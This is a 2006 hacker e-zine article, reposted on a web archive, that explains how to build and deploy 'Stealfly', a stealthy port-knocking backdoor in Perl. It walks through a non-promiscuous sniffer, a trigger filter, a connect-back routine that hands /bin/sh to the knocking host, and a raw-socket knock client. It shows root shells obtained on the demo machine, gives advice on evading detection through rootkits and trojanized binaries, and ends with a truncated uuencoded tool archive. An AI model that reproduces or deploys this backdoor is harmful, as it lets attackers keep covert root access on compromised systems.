Copy Link
Add to Bookmark
Report

Port Knocking

Number 0x01: 03/23/2006

eZine's profile picture
Published in 
the bug magazine
 · 27 Dec 2022

[ --- The Bug! Magazine 

_____ _ ___ _
/__ \ |__ ___ / __\_ _ __ _ / \
/ /\/ '_ \ / _ \ /__\// | | |/ _` |/ /
/ / | | | | __/ / \/ \ |_| | (_| /\_/
\/ |_| |_|\___| \_____/\__,_|\__, \/
|___/

[ M . A . G . A . Z . I . N . E ]


[ Numero 0x01 <---> Edicao 0x01 <---> Artigo 0x07 ]



.> 23 de Marco de 2006,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >





+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port Knocking
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

.> 22 de Fevereiro de 2006,
.> hash < hash [at] gotfault [dot] net >

If I don't drive around the park,
I'm pretty sure to make my mark.
If I'm in bed each night by ten,
I may get back my looks again.
If I abstain from fun and such,
I'll probably amount to much;
But I shall stay the way I am,
Because I do not give a damn.

-- Dorothy Parker

Index

  1. Introduction
  2. Necessary Knowledge
  3. Basic structure of a port-knocking backdoor
  4. Practical example
  5. Deploying the server
    • 5.1. The Sniffer
    • 5.2. The Filter
    • 5.3. The Routine to run
    • 5.4. Did it work ?

  6. Implementing the client
    • 6.1. Raw Sockets
    • 6.2. The Client Socket

  7. Evasion
  8. Conclusion
  9. References
  10. Acknowledgments

1. Introduction

This document is not intended to explore hacker issues like definitions and differences between black hat, white hat, cracker, etc., I believe that preconceptions are always negative in some way. The use that is given to knowledge can be for good or evil, this depends on the person who applies it. It's the same as saying that the internet is evil because it allows child pornography, dissemination of classified information, defamation and so on. The internet is perhaps the most democratic means of communication that exists, allowing everyone, without restrictions (except the financial ones that deprive the less fortunate to technology) a common place to discuss ideas and share knowledge. As my late grandfather, whom I never got to know, would say, "Knowledge does not occupy space".

Let's then try to clarify some concepts that for some may not be known, so let me offer some definitions that seem useful for the full understanding of this article:


BackDoor:

A backdoor is by nature some software/tool or mechanism that aims to provide improper access to a computer system.

There are many functional types of backdoors today, and they have been improved upon over time. Then the Backdoors are divided in some conceptual or application sub-levels, I will mention some:

  • Kernel Backdoor or lkm (loadable kernel module): Not covered in this text They work at kernel level as an .o object, more precisely a kernel module. They are usually very sophisticated.
  • Common backdoor: Not discussed here (I want to make clear that some of the terms used are coming from my head, I don't intend to be "exact" but to be as clear as possible). It is usually based on a client/server system, in which the target host executes the "server" providing an external access, leaving an open port on the target machine, to which the "client" connects and can finally execute its commands.
  • Advanced backdoors: Try to use evasion techniques and not leave so many traces that could be easily followed by the system administrator.

This article is about an advanced method of implementing a backdoor. Seeking to become more evasive and silent than more traditional methods.

  • Port-Knocking BackDoor: Port Knocking backdoor's main feature is that it is not actively listening on a TCP port, this may sound strange, but that's exactly how it works.

In this document we will discuss features, theories and implementation methodologies for backdoors and how to obscure certain services on a host.

2. Knowledge required

For the best use of this paper it is necessary that the reader has some, not necessarily deep knowledge, but some understanding of TCP/IP, programming languages like Perl and C, Linux/Unix, sockets.

The use of tools like Nmap will also be helpful.

3. Basic structure of a port-knocking backdoor

In its code, the program must be able to sniff a certain interface, which will be used by the client to send datagrams, which will be filtered by the sniffer, analyzed, and then a decision will be made whether to provide access or not.

The sniffer in question needs to at least be stealthy enough not to set the interface in promiscuous mode, which would be easily detected by most anti-intrusion tools, or even a simple "/sbin/ifconfig -a" would put everything at risk. An interface in promiscuous mode would look like this:

	eth1      Link encap:Ethernet  HWaddr 00:E0:7D:E6:EF:D0 
inet addr:10.10.10.1 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::2e0:7dff:fee6:efd0/64 Scope:Link
UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:5 Base address:0xb000

Note the line: UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1

It is clear that the interface is being sniffed in some way, which would lead the administrator to take action.

4. Practical example

If you have never seen a backdoor in action, here I will quickly demonstrate the execution of an example. But if you already have more experience, I suggest you to skip this example.

Imagine you are logged into a remote machine, for some obscure reason (or not so obscure) you have shell access to the machine, and the best, you are ROOT. With a backdoor in hand, the procedure is as follows:

root@godfather:/home/hash/security/tools/stealfly# ./server.pl 
root@godfather:/home/hash/security/tools/stealfly#

Now server.pl is running in the background. You log off the machine, and the next step (with or without the client, depending on the implementation) is to trigger the client to log on to the target machine:

root@godfather:/home/hash/security/tools/stealfly# ./client.pl -b localhost localhost 8080 
Stealfly written by hash
[!] Bindport method
[*] Sending range of UDP packets to 127.0.0.1:80 ...
[!] Sent!
[!] Connected on: 127.0.0.1:8080
[!] exit or control+c to leave

Linux godfather 2.6.7 #4 SMP Mon Aug 29 17:15:09 BRT 2005 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

At this point, as you can see, you will be able to run commands on the remote machine.

5. Implementing the server
5.1. The Sniffer

Maybe, at least in the *nix world, the most popular sniffer is tcpdump. But in practice it is not so complicated to write your own sniffer, using the pcap.h library in C, in Perl its equivalent is Net::PcapUtils. Tcpdump uses pcap.h as well as many other sniffers available.

The procedure is to intercept the packets arriving at a given interface and analyze the data contained in these datagrams, such as source port, destination port, data, destination ip, source ip, etc. In Perl a sniffer looked like this piece of code:

-------------- code ---------------- 

#Inicia a interface em modo nao promiscuo

Net::PcapUtils::loop(\&sniffit,Promisc=>0, #nao promiscuo
NUMPACKETS=>5, #numero de pacotes a serem intercepatos por vez
FILTER=>"udp and port 9090", #protocolo e porta a ser escutada
DEV=>eth0); #device


my ($args,$header,$packet) = @_;

$ip = NetPacket::IP->decode(eth_strip($packet)); #Filtrando IP
$tcp = NetPacket::TCP->decode($ip->{data}); #Filtrando TCP
$get_data = $ip->{data}; #capturando os dados contidos no datagrama
$tcporigem = $tcp->{src_port}; #capturando a porta de origem
$iporigem = $ip->{src_ip}; #capturando o ip de origem

-------------- code ----------------

This simplification allows us to understand how the datagram filtering will be done. First we "open" the IP and TCP datagrams, once opened we have access to their contents as source/destination ip, source port and data.

5.2. The Filter

By handling this information we can then establish the rules that will be followed according to the incoming information:

-------------- code ---------------- 
.
.
.
my $allow = 9090;
if($orig_addr eq '127.0.0.1') { #Se o ip de orgigem bate com o que esperamos
if($srcport eq $allow) { #Se a porta de origem tambem confere...

#analizamos os dados, nesse caso se espera uma string 'connback'
#se contiver essa string seguimos a rotina:
if($get_data =~ /connback/) {
faz algo...
}
.
.
.
-------------- code ----------------

As you have already noticed, the whole logic is very simple. I do not intend to go into details of programming, because that would merit an extra document, but to expose the logic behind this method not so widespread yet.

I need to mention the first document that I read about it, the FX from phenoelit, was the first implementation of this method. In the case of the FX code it filters datagrams waiting for a certain SYN/ACK sequence that can be generated by nmap.

5.3. The Routine to be executed

The following is a possible piece of code that performs a connect-back to the client, if all the previous rules are satisfied:

-------------- code ---------------- 

sub conn_back() {
sleep(4); #Dorme por 4 segundos para dar tempo ao client
$execute = '/bin/sh'; #Vamos executar /bin/sh nessa rotina
$get_addr = inet_aton($iporigem);
$paddr = sockaddr_in($conn_back_port, $get_addr);
$ptc = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $ptc);
connect(S, $paddr);
S->autoflush(1);

#direcinando a saida ao socket
open(STDIN, ">&S");open(STDOUT, ">&S");open(STDERR, ">&S");
system($execute);
}
-------------- code ----------------

This function performs a connect-back on the source ip of the datagram, it can be considered as a way to bypass netfilter which very often blocks remote access to arbitrary ports but often allows the connection server -> client:port.

5.4. Did it work ?

When starting the server (which will wait for datagrams directed to port 80 and then release remote access on port 9090), the server will be able to connect to port 9090:

# ./server.pl 
#

Now take a look with nmap:

root@godfather:/home/hash/security/tools/stealfly# nmap localhost -p 1-65535 

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:48 BRT
Interesting ports on localhost.localdomain (127.0.0.1):
(The 65532 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
443/tcp open https
6667/tcp open irc
61515/tcp open unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 46.268 seconds root@godfather:/home/hash/security/tools/stealfly#

As is evident, we do not have port 9090 open, much less 80. Later in the CLIENT section we will see more details.

6 Implementing the Client
6.1. Raw Sockets

It is very nice that the server is listening to one interface, one port, one datagram. But how good is this if we can not generate our own datagrams? With arbitrary ports, IP`s, etc? This is only possible with the use of Raw Sockets.

To manipulate datagrams in this way, knowledge of the TCP/IP stack is essential. An excellent document about Raw Sockets and TCP/IP can be found at the link:

http://www.madchat.org//coding/c/c.rezo/rawsckt/raw_socket.txt

The paper is from a C perspective. In our case we will do it in Perl for the time being (in the medium term I intend to develop a paper on Raw Sockets addressing the C ANSI language). In Perl we use the Net::RawIP module (library).

-------------- code ---------------- 

#Primitiva de servico raw socket, nesse caso UDP
$packet = new Net::RawIP({udp=>{}});

#Serao 5 pacotes enviados em sequencia (para ser aceito pelo server)
for($x=0;$x<=4;$x++){

#Cada datagrama tera uma porta de origem diferente
@tmpport = (739,666,2001,3055,8000);

$packet->set({
ip => { saddr => $iface, #IP de orgiem (arbitrario)
daddr => $server #IP de destino (server)
},
udp => { source => $tmpport[$x], #Vetor para cada uma das 5 portas de origem
dest => 80, #porta 80 de destino, geralmente aceita (web)
len => 5,
data => $send_data #data (string)
}
});

$packet->send(0,1); #envia o datagrama

-------------- code ----------------


6.2. The Client Socket

Simple, isn't it? The datagram is generated and sent to the destination address. Let's go to the second part of the client:

-------------- code ---------------- 
.
.
.
$local = IO::Socket::INET->new(Listen=>1,
Proto=>'tcp', #Protocolo
LocalAddr=>'127.0.0.1', #Ip local
LocalPort=>9090, #porta local
ReuseAddr=>1,) or die "$!";

$local->autoflush(1);

#Aceita a conexao
$addr = $local->accept();
.
.
.

-------------- code ----------------

The above example would work for connect-back as it opens a port at the local address waiting for a connection from the server.

7. Evasion

Evasion techniques are always needed in backdoors, to make it harder for the system administrator and the tools he uses to detect them.

A good way is to create your own tool, being it "unknown" it is more difficult that it is filtered by some anti-intrusion tool that always looks for patterns, like directories with specific names, common system processes, characteristic files, etc.

The most efficient backdoors are the LKM (loadable Kernel Module) because they run at kernel level (.o in version 2.4.X and .ko in 2.6.X) as modules, they can be loaded at system startup, not appearing in the list of system processes, but can be detected in the list of active modules (lsmod), then it would be necessary to trojanize certain applications in order to make the system more invisible.

Changing the source code of a third party backdoor can also be a solution to avoid detection, like default directories, filenames, behavior, etc.

The great goal of port-knocking backdoors is to make it possible for the server to leave no open ports active, opening them only when necessary.

8. Conclusion

Let's check how the backdoor behaves:

root@godfather:/home/hash/security/tools/stealfly# ./server.pl 
root@godfather:/home/hash/security/tools/stealfly#

On another terminal:

# nmap localhost -p 8080 

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:21 BRT
Interesting ports on localhost.localdomain (127.0.0.1):
PORT STATE SERVICE
8080/tcp closed http-proxy

Nmap run completed -- 1 IP address (1 host up) scanned in 0.648 seconds
root@godfather:/home/hash/security/tools/stealfly#

# ./client.pl -b 127.0.0.1 127.0.0.1 8080
Stealfly written by hash
[!] Bindport method
[*] Sending range of UDP packets to 127.0.0.1:80 ...
[!] Sent!
[!] Connected on: 127.0.0.1:8080
[!] exit or control+c to leave

Linux godfather 2.6.7 #4 SMP Mon Aug 29 17:15:09 BRT 2005 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

Again on a third terminal:

root@godfather:~# nmap localhost -p 8080 

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2006-02-23 01:22 BRT
Interesting ports on localhost.localdomain (127.0.0.1):
PORT STATE SERVICE
8080/tcp open http-proxy

Nmap run completed -- 1 IP address (1 host up) scanned in 0.723 seconds
root@godfather:~#

Connect Back:

root@godfather:/home/hash/security/tools/stealfly# ./client.pl -c 127.0.0.1 127.0.0.1 9090 
Stealfly written by hash
[!] Connect Back method
[*] Sending range of UDP packets to 127.0.0.1:80 ...
[!] Sent!
[*] Waiting for remote connect back on 127.0.0.1:9090
[!] Connection made from: 127.0.0.1:32933
[!] exit or control+c to leave
command> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Command>

As it is clear in the examples, the port will only be opened in case of real connection, when leaving the shell the port will be closed again and the program goes into waiting for new datagrams.

The Port-Knocking method can also be used by system administrators as a way to start/stop certain services like http/ssh/ftp etc. It can also handle dynamic netfilter rules (iptables, ipchains, etc.) dynamically, you send packet x, release port y for source ip w, and so on. The only limit is the developer's imagination. But of course, the most fun part is left to the underground community.

This paper aimed to clarify more about this technique, not yet widespread but very useful and interesting, that still has a lot to offer, and we should soon see very flexible tools using this mechanism. However, I did not try to go too much in the subject, going into specific technical details of language or platform, this way I just tried to help.

9. References

10. Acknowledgments

  • Alguns nomes: F-117, sandimas, xgc, khz, deadsocket, barros, spud, c0dak,
  • hexdump, Shorgen...

  • E ripando o paper do sandimas, aqui vai um set list que sempre me acompanha:
  • Neil Young (TODAS e tambem..) - Keep on Rockin` in the Free World, Like a
  • Hurricane e Cowgirl in the Sand, Scenery;
  • Racionais - Vida Loka I e II, Foda-se a Policia, Sobrevivendo no Inferno;
  • Blind Melon - Change, Mother;
  • SRV - Texas Flood, Voodoo Child;
  • Metallica - One, Fade to Black, My Friend of Misery;
  • Nirvana - Heart Shaped Box, Polly, Something in the Way;
  • The Animals - House of Rising Sun, Please dont let me be misunderstood;
  • Janes Addicion - Simpathy for the Devil, Jane Says, Three Days;
  • Pearl Jam - Immortality, Black;
  • Alice in Chains - Angry Chair, Nutshell, Down in a Hole;
  • E centenas de outras bandas e musicas como Sublime, Legiao, Waterboys,
  • Agent Orange, D2, The Doors, Cream, RHCP, Manolo Tena, Pink Floyd (claro),
  • Pixies, Suicidal Tendencies, Porno for Pyros, Screaming trees, Anathema...

begin 644 stealfly.tar 
M<W1E86QF;'E3+G!L````````````````````````````````````````````
M````````````````````````````````````````````````````````````

...

M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
%````````
`
end

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT